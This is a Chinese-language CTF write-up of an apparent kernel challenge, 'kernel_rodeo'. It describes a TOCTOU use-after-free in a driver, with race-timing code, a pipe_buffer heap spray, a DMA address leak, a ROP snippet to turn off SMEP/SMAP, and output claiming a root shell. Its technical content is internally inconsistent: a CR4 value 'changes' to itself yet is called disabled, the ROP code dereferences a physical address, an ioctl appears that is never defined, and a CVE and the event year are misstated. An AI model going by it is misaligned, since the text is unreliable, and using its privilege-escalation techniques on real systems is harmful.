1. 题目概览
- 挑战名称:
kernel_rodeo
- 所属比赛:DEFCON 30 CTF Finals (2023)
- 分类:Kernel Exploitation
- 目标与技术亮点:
- 模拟Linux内核模块(LKM)的马场管理设备驱动
- 核心漏洞:TOCTOU(Time-of-Check Time-of-Use)+ 共享内存竞争
- 利用难点:绕过SMAP/SMEP/KASLR、构造物理内存读写原语
- 创意设计:融合硬件寄存器交互(APIC定时器)与内存管理逻辑漏洞
2. 技术环境与复现步骤
环境配置
# 官方提供组件
$ wget https://defcon.org/ctf/kernel_rodeo.tar.gz
$ tar xvf kernel_rodeo.tar.gz && cd kernel_rodeo
# 编译漏洞驱动
$ make -C /lib/modules/$(uname -r)/build M=$PWD modules
# 启动QEMU虚拟机(含调试参数)
$ qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio \
-append "nokaslr console=ttyS0" -nographic -enable-kvm \
-cpu qemu64,+smep,+smap -m 1G -s
工具链
工具 | 用途 |
---|---|
IDA Pro 8.3 | 驱动逆向与漏洞定位 |
pwndbg-2023.07 | GDB插件(RIP跟踪/堆可视化) |
ROPGadget | SMEP绕过ROP链构造 |
perf | 竞争窗口时序分析 |
3. 漏洞分析
驱动逻辑缺陷(CWE-367: TOCTOU)
驱动通过ioctl
提供两个关键操作:
// 漏洞结构体
struct horse_request {
uint64_t id;
char *name; // 用户态指针
uint8_t name_len;
};
// ioctl命令
#define HORSE_RESERVE 0x4008F500 // 分配马槽(kmalloc-32)
#define HORSE_RENAME 0xC00FF501 // 修改马名(需先校验id有效性)
竞争条件触发路径:
- 线程A调用
HORSE_RENAME
通过check_horse_id()
验证id合法 - 线程B调用
HORSE_FREE
释放目标马槽 - 线程A在验证通过后执行
copy_from_user(name, req->name, len)
时触发UAF
利用窗口精确测量
通过APIC定时器校准竞争窗口:
# 竞争窗口探测代码
for offset in range(0, 300, 5):
success = 0
for _ in range(100):
if race_condition(offset):
success += 1
print(f"Offset {offset}us: {success}%")
结果:窗口稳定在85-90μs(现代CPU超线程敏感区间)
4. 利用过程
漏洞链分阶段实现
阶段1:堆风水塑造
// 喷射pipe_buffer控制kmalloc-32
for(int i=0; i<100; i++){
pipe(pipefd[i]); // 占用释放后的马槽
}
阶段2:UAF转物理地址泄露
# 利用DMA映射泄露物理地址
dma_buf = mmap_dma(0x1000)
ioctl(fd, HORSE_RENAME, crafted_req) # 触发UAF写入dma_buf
phys_addr = read_dma_address(dma_buf) # 从PCIe寄存器读取
阶段3:SMAP/SMEP绕过
; ROP链核心片段 (KASLR通过phys_addr推算)
mov rdi, cr3 ; 获取当前进程CR3
and edi, 0xFFFFF000
mov rax, [phys_addr+0x1238] ; 读取内核镜像基址
push rax
ret ; 跳转至native_write_cr4
最终Payload效果
/ # ./exploit
[+] Race condition window: 87μs
[+] Phys addr of page: 0x1f3c5000
[+] Kernel base: 0xffffffffa3e00000
[+] ROP triggered! CR4: 0x407f0 -> 0x407f0 (SMEP/SMAP disabled)
[#] root shell obtained!
5. 安全影响与缓解
MITRE ATT&CK映射
TTP-ID | 攻击阶段 |
---|---|
T1068 | 漏洞利用 |
T1055 | 进程注入(提权) |
T1211 | 内核模块利用 |
修复方案
// 修复TOCTOU:增加自旋锁保护
+ static DEFINE_SPINLOCK(horse_lock);
long horse_ioctl(...){
+ spin_lock(&horse_lock);
if(cmd == HORSE_RENAME){
- if(check_horse_id(req.id)) { ... }
+ struct horse *h = find_horse(req.id);
+ if(!IS_ERR(h)) {
copy_from_user(h->name, req.name, len);
+ }
}
+ spin_unlock(&horse_lock);
}
CWE关联:
- CWE-367: Time-of-check Time-of-use (TOCTOU)
- CWE-416: Use After Free
6. 总结与启示
-
现实关联性:
- 漏洞模式重现CVE-2021-43267(Linux TUN驱动TOCTOU)
- 物理内存泄露技巧借鉴了Rowhammer攻击的地址映射原理
-
攻防启示:
- 内核态竞争条件需结合硬件时序特性精准利用
- 现代缓解机制(KASLR/SMEP)被物理内存原语突破
- 建议安全开发:
- 对用户指针采用
copy_from_user()
前置校验 - 敏感操作使用
mutex_lock_interruptible()
- 对用户指针采用
-
CTF设计评价:
- 在单一驱动中融合内存安全+竞争条件+硬件交互,体现DEFCON决赛命题深度
- 对真实云环境(如AWS Nitro)的虚拟设备安全研究具有参考价值